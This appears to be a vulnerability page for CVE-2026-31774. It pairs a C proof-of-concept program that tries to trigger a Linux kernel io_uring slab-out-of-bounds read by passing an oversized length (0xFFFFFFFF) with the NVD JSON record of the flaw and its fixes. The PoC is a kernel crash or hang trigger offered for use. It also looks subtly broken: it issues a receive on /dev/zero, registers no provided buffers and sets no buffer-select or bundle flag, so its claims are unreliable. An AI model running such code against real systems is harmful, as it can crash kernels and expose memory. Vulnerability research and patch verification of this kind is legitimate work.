CVE-2026-31774

/* * PoC for CVE-2026-31774 * Trigger: Slab-out-of-bounds read in io_bundle_nbufs * Compile: gcc -o poc poc.c -luring */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/types.h> #include <liburing.h> #define BUF_SHIFT 0 #define BUF_RING_SIZE 32 int main() { struct io_uring ring; struct io_uring_params p = {}; int ret, fd; // Initialize io_uring with provided buffers setup would be ideal, // but the core trigger is the length overflow. ret = io_uring_queue_init(32, &ring, 0); if (ret < 0) { perror("io_uring_queue_init"); return 1; } fd = open("/dev/zero", O_RDONLY); if (fd < 0) { perror("open"); return 1; } struct io_uring_sqe *sqe = io_uring_get_sqe(&ring); if (!sqe) { fprintf(stderr, "Failed to get sqe\n"); return 1; } // Setup IORING_OP_RECV or similar operation that uses io_recvmsg_prep sqe->opcode = IORING_OP_RECV; sqe->fd = fd; sqe->addr = (unsigned long)NULL; // Must use provided buffers in real scenario sqe->len = 0xFFFFFFFF; // Trigger value > INT_MAX causing overflow sqe->flags = 0; sqe->ioprio = 0; // sqe->buf_group is required for the select path sqe->buf_group = 0; sqe->rw_flags = 0; ret = io_uring_submit(&ring); if (ret < 0) { perror("io_uring_submit"); return 1; } struct io_uring_cqe *cqe; // This may hang or crash the kernel due to the infinite loop/OOB read ret = io_uring_wait_cqe(&ring, &cqe); if (ret < 0) { perror("io_uring_wait_cqe"); } else { printf("Request completed: res=%d\n", cqe->res); io_uring_cqe_seen(&ring, cqe); } close(fd); io_uring_queue_exit(&ring); return 0; }

{"cve": {"id": "CVE-2026-31774", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-01T15:16:40.720", "lastModified": "2026-05-07T02:29:19.160", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nio_uring/net: fix slab-out-of-bounds read in io_bundle_nbufs()\n\nsqe->len is __u32 but gets stored into sr->len which is int. When\nuserspace passes sqe->len values exceeding INT_MAX (e.g. 0xFFFFFFFF),\nsr->len overflows to a negative value. This negative value propagates\nthrough the bundle recv/send path:\n\n 1. io_recv(): sel.val = sr->len (ssize_t gets -1)\n 2. io_recv_buf_select(): arg.max_len = sel->val (size_t gets\n 0xFFFFFFFFFFFFFFFF)\n 3. io_ring_buffers_peek(): buf->len is not clamped because max_len\n is astronomically large\n 4. iov[].iov_len = 0xFFFFFFFF flows into io_bundle_nbufs()\n 5. io_bundle_nbufs(): min_t(int, 0xFFFFFFFF, ret) yields -1,\n causing ret to increase instead of decrease, creating an\n infinite loop that reads past the allocated iov[] array\n\nThis results in a slab-out-of-bounds read in io_bundle_nbufs() from\nthe kmalloc-64 slab, as nbufs increments past the allocated iovec\nentries.\n\n BUG: KASAN: slab-out-of-bounds in io_bundle_nbufs+0x128/0x160\n Read of size 8 at addr ffff888100ae05c8 by task exp/145\n Call Trace:\n io_bundle_nbufs+0x128/0x160\n io_recv_finish+0x117/0xe20\n io_recv+0x2db/0x1160\n\nFix this by rejecting negative sr->len values early in both\nio_sendmsg_prep() and io_recvmsg_prep(). Since sqe->len is __u32,\nany value > INT_MAX indicates overflow and is not a valid length."}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.10", "versionEndExcluding": "6.12.81", "matchCriteriaId": "152F22C9-12F1-4E51-A98B-BC5F10DD76FD"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.22", "matchCriteriaId": "C9DF8BCE-36D3-475D-9D21-19E4F02F9029"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.12", "matchCriteriaId": "0A2B9540-02D5-41B4-B16A-82AF66FD4F36"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "58A9FEFF-C040-420D-8F0A-BFDAAA1DF258"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc6:*:*:*:*:*:*", "matchCriteriaId": "1D2315C0-D46F-4F85-9754-F9E5E11374A6"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/1b655cd311344117d3052f6552cb20d9901c9d7c", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/90ced24c500ad4e129e9e34b7e56fd7849e350b6", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/b948f9d5d3057b01188e36664e7c7604d1c8ecb5", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/c314b405dcc4d8b9041124f928f81715d6328bec", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}